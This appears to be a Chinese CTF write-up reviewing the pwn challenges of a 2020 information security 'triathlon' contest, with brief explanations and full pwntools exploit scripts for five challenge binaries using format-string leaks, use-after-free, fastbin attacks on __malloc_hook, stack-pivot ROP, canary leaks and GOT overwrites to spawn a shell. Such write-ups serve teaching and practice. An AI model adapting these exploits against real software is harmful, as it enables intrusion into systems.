第一赛区

hacknote

  程序存在格式化字符串漏洞和uaf,不多说了,很简单。

 1 from pwn import *
2
3 p = process('./hacknote')
4 elf = ELF('./hacknote')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7 #by bhxdn
8
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 def add(size,content):
14 p.sendlineafter('choice :','1')
15 p.sendlineafter('size :',str(size))
16 p.sendafter('Content :',content)
17
18 def delete(index):
19 p.sendlineafter('choice :','2')
20 p.sendlineafter('Index :',str(index))
21
22 def show(index):
23 p.sendlineafter('choice :','3')
24 p.sendlineafter('Index :',str(index))
25
26 #leak libc_base
27 p.sendafter('name!\n','%13$p')
28 p.recvuntil('hello ,')
29 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
30 print 'libc_base-->' + hex(libc_base)
31 shell = libc_base + 0x45226
32
33 add(0x20,'aaaaaaaa')
34 add(0x20,'bbbbbbbb')
35 delete(0)
36 delete(1)
37 add(0x10,p64(shell))
38 show(0)
39 p.interactive()

heap

  同样是存在格式化字符串漏洞和uaf漏洞。

  说一下格式化字符串漏洞泄露libc吧。

  这里我直接看偏移为25的值。然后pwndbg看栈的情况,我直接stack 300看栈情况。然后放到文本中去找。

  25偏移下面那个箭头,所以__libc_start_main+240就是偏移19。所以就%19$p就可以leak libc版本和地址了。

  程序存在uaf漏洞,fastbins attack来攻击__malloc__hook,这里还需要利用realloc来调整一下栈帧来让one_gadget生效。

 1 from pwn import *
2
3 p = process('./heap')
4 elf = ELF('./heap')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7 #by bhxdn
8
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 def add(size):
14 p.sendlineafter('choice: ','1')
15 p.sendlineafter('item: ',str(size))
16
17 def delete(index):
18 p.sendlineafter('choice: ','4')
19 p.sendlineafter('item: ',str(index))
20
21 def edit(index,content):
22 p.sendlineafter('choice: ','3')
23 p.sendlineafter('item: ',str(index))
24 p.sendafter('data: ',content)
25
26 def show(index):
27 p.sendlineafter('choice: ','2')
28 p.sendlineafter('item: ',str(index))
29
30
31 #leak libc_base
32 p.sendafter('name: ','%19$p')
33 p.recvuntil('Hello, ')
34 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
35 print 'pianyi-->' + hex(libc.symbols['__libc_start_main'])
36 print 'libc_base-->' + hex(libc_base)
37 shell = libc_base + 0x4527a
38
39 add(0x20) #0
40 add(0x60) #1
41 delete(1)
42 edit(1,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
43 add(0x60) #1 2
44 add(0x60) #attack
45 edit(3,'a'*(0x13-8)+p64(shell)+p64(libc_base+libc.symbols['realloc']+0xc))
46 add(0x60)
47 p.interactive()

第二赛区

stackstorm

  可以往堆写入两次数据(但似乎并没有什么用),可以栈溢出,但是只能溢出0x10字节。

  利用第一次溢出泄露栈地址,然后第二次在栈上布置rop,利用栈转移迁移到我们布置的rop链上,leak了libc地址,然后返回到main函数,直接将返回地址覆盖成one_gadget就可以了。

 1 from pwn import *
2
3 p = process('./stackstorm')
4 elf = ELF('./stackstorm')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 pop_rdi = 0x00400903
9 leave_ret = 0x04007C1
10 buf = elf.bss()+0x100
11 main = 0x04007C3
12
13 p.sendafter('data1:\n','bhxdn')
14 payload = 'a'*(0x70-1)+'b'
15 p.sendafter('data2:\n',payload)
16 p.recvuntil('b')
17 stack_addr = u64(p.recv(6).ljust(8,'\x00'))
18 print 'stack_addr-->' + hex(stack_addr)
19
20 p.sendafter('data1:\n','bhxdn')
21 payload = 'aaaaaaaa' + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)+p64(0)*9+p64(stack_addr-0x20-0x70)+p64(leave_ret)
22 p.sendafter('data2:\n',payload)
23 p.recv(12)
24 libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
25 print 'libc_base-->'+hex(libc_base)
26 shell = libc_base+0x4527a
27
28 payload = 'a'*0x70+'bbbbbbbb'+p64(shell)
29 p.send('bhxdn')
30 p.sendafter('data2:\n',payload)
31 p.interactive()

第三赛区

待更新

第四赛区

namepie

  程序本身有system("/bin/sh"),两个输入,可以利用第一个输入leak canary。

  图片可以看到rbp下面是程序本身的地址。开启pie 的程序,后三位是不会变的,所以只覆盖最后一个字节,覆盖成shell的字节,就拿到shell了。

exp:

 1 from pwn import *
2
3 elf = ELF('./namepie')
4 context.log_level = 'debug'
5
6 shell = 0x000A71
7
8 p = process('./namepie')
9 p.recvuntil('Name:\n')
10 p.send('a'*0x28+'b')
11 p.recvuntil('b')
12 canary = u64(p.recv(7).rjust(8,'\x00'))
13 print 'canary-->' + hex(canary)
14 p.recv()
15 p.send('a'*0x28+p64(canary)+'bbbbbbbb'+'\x71')
16 p.sendline('ls')
17 p.recvuntil('namepie')
18 p.interactive()

onetime

  是一道菜单堆题。调试的时候发现bss段上有7f。

  存在uaf,先malloc一个chunk,再free掉,修改fd为bss段上的地址。然后再申请两次申请回来。这时候就可以控制bss上的数据,并且有一个可以读写的指针。

  将指针指向malloc_got,泄露libc地址,然后修改malloc_got为one_gadget的地址,再执行malloc就拿到shell了。

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 def add():
13 p.sendlineafter('choice >>\n','1')
14
15 def edit(content):
16 p.sendlineafter('choice >>\n','2')
17 p.sendafter('content:',content)
18
19 def show():
20 p.sendlineafter('choice >>\n','3')
21
22 def delete():
23 p.sendlineafter('choice >>\n','4')
24
25 def gift(content):
26 p.sendlineafter('choice >>\n','5')
27 p.sendafter('name:',content)
28
29 attack_addr = 0x0006020BC-0x2f
30 #x/32gx 0x0006020BC-0x24
31 add()
32 delete()
33 edit(p64(attack_addr))
34 add()
35 gift('a'*11+p64(elf.got['malloc'])+p32(100)+p32(100)+p32(100)+p32(100))
36
37 show()
38 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['malloc']
39 print 'libc_base-->' + hex(libc_base)
40 shell = libc_base + 0x45226
41
42
43 edit(p64(shell))
44 add()
45 p.interactive()

2020信息安全铁人三项 pwn复盘的更多相关文章

  1. [BUUCTF]PWN——铁人三项(第五赛区)_2018_rop

    铁人三项(第五赛区)_2018_rop[32位libc泄露] 题目附件 解题步骤: 例行检查,32位,开启了NX保护 试运行一下程序,一开始让我们输入,然后直接输出"Hellow,world ...

  2. 铁人三项(第五赛区)_2018_seven

    铁人三项(第五赛区)_2018_seven 先来看看保护 保护全开,IDA分析 首先申请了mmap两个随机地址的空间,一个为rwx,一个为rw 读入的都shellcode长度小于等于7,且这7个字符不 ...

  3. 网站SEO之百度优化不得不知的铁人三项规则

    奥运会有铁人三项,此运动更好的协调了运动员的综合素质水平,而百度优化排名中的“铁人三项”规则则是让网站的整体质量更好的满足市场用户体验.针对不同部分的操作,可以让网站在每个细节处都能凸显以人为本的服务 ...

  4. Phaser铁人三项

    /** * 模拟铁人三项 */ public class PhaserTest { private static Random random = new Random(System.currentTi ...

  5. 2018铁人三项测评题 IOS99

    下面这一部分是我从网上复制过来的, 2.IOS 解题链接:http://ctf4.shiyanbar.com/web/IOS/index.php 这题页面中提示系统升级到了IOS99,我们可以想到修改 ...

  6. 铁人三项(第五赛区)_2018_rop

    拿到程序依旧老样子checksec和file一下 可以看到是32位的程序开启了nx保护,将程序放入ida进行查看 shift+f12 看到没有system和binsh等字样,考虑用泄露libc来做这道 ...

  7. 计算几何-LA2218-HPI-第一次卡精度-vijos1087-铁人三项

    This article is made by Jason-Cow.Welcome to reprint.But please post the writer's address. http://ww ...

  8. 【BZOJ】【2765】【JLOI2010】铁人双项比赛

    计算几何/半平面交 本来我是想去写POJ 1755的,然后想起了这道跟它很像的题,但应该是弱化版,所以就先写了这个…… 我们可以发现每个人的总用时,与k是呈一次函数关系的:$time_i=\frac{ ...

  9. 【APIO2018】铁人两项(圆方树,动态规划)

    [APIO2018]铁人两项(圆方树,动态规划) 题面 UOJ 洛谷 BZOJ 题解 嘤嘤嘤,APIO的时候把一个组合数写成阶乘了,然后这题的70多分没拿到 首先一棵树是很容易做的,随意指定起点终点就 ...

随机推荐

  1. 【NetWork】-- 网络原理

    2019-07-18  21:00:25  by冲冲 1. 网络拓扑 把网络中的计算机和通信设备抽象为一个点,把传输介质抽象为一条线,由点和线组成的几何图形就是计算机网络的拓扑结构(Network T ...

  2. javascript-初级-day04js数据类型

    day01-js数据类型 <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type& ...

  3. 我在组内的Java问题排查分享

    前言 最近翻看以前写的 PPT, 发现了在2019年做的一次技术分享,关于 Java 问题排查,由于没什么公司机密可言,整理下分享给大家~ 线上问题处理流程 直接放PPT截图吧,现在看来依然不过时 问 ...

  4. 洛谷 P5502 - [JSOI2015]最大公约数(区间 gcd 的性质+分治)

    洛谷题面传送门 学校模拟赛的某道题让我联想到了这道题-- 先讲一下我的野鸡做法. 首先考虑分治,对于左右端点都在 \([L,R]\) 中的区间我们将其分成三类:完全包含于 \([L,mid]\) 的区 ...

  5. 富集分析DAVID、Metascape、Enrichr、ClueGO

    前言 一般我们挑出一堆感兴趣的基因想临时看看它们的功能,需要做个富集分析.虽然公司买了最新版的数据库,如KEGG,但在集群跑下来嫌麻烦.这时网页在线或者本地化工具派上用场了. DAVID DAVID地 ...

  6. C语言 自定义函数按行读入文件2

    再改进下上次的读入一行函数,利用zlib库的gzgtec函数读取文件,动态分配内存,最后没有多出空行. 1 #include <stdio.h> 2 #include <stdlib ...

  7. A Child's History of England.52

    'Arthur,' said the King, with his wicked eyes more on the stone floor than on his nephew, 'will you ...

  8. MapReduce的类型与格式

    MapReduce的类型 默认的MR作业 默认的mapper是Mapper类,它将输入的键和值原封不动地写到输出中 默认的partitioner是HashPartitioner,它对每条记录的键进行哈 ...

  9. Scala(一)【安装和IDEA中开发】

    目录 一.下载 二.windows安装 三.linux环境安装 四.Ida开发Scala 1.在线下载Scala插件 2.离线下载Scala插件 3.验证 五.HelloWorld入门程序 1.新建M ...

  10. [学习总结]1、View的scrollTo 和 scrollBy 方法使用说明和区别

    参考资料:http://blog.csdn.net/vipzjyno1/article/details/24577023 非常感谢这个兄弟! 先查看这2个方法的源码: scrollTo: 1 /** ...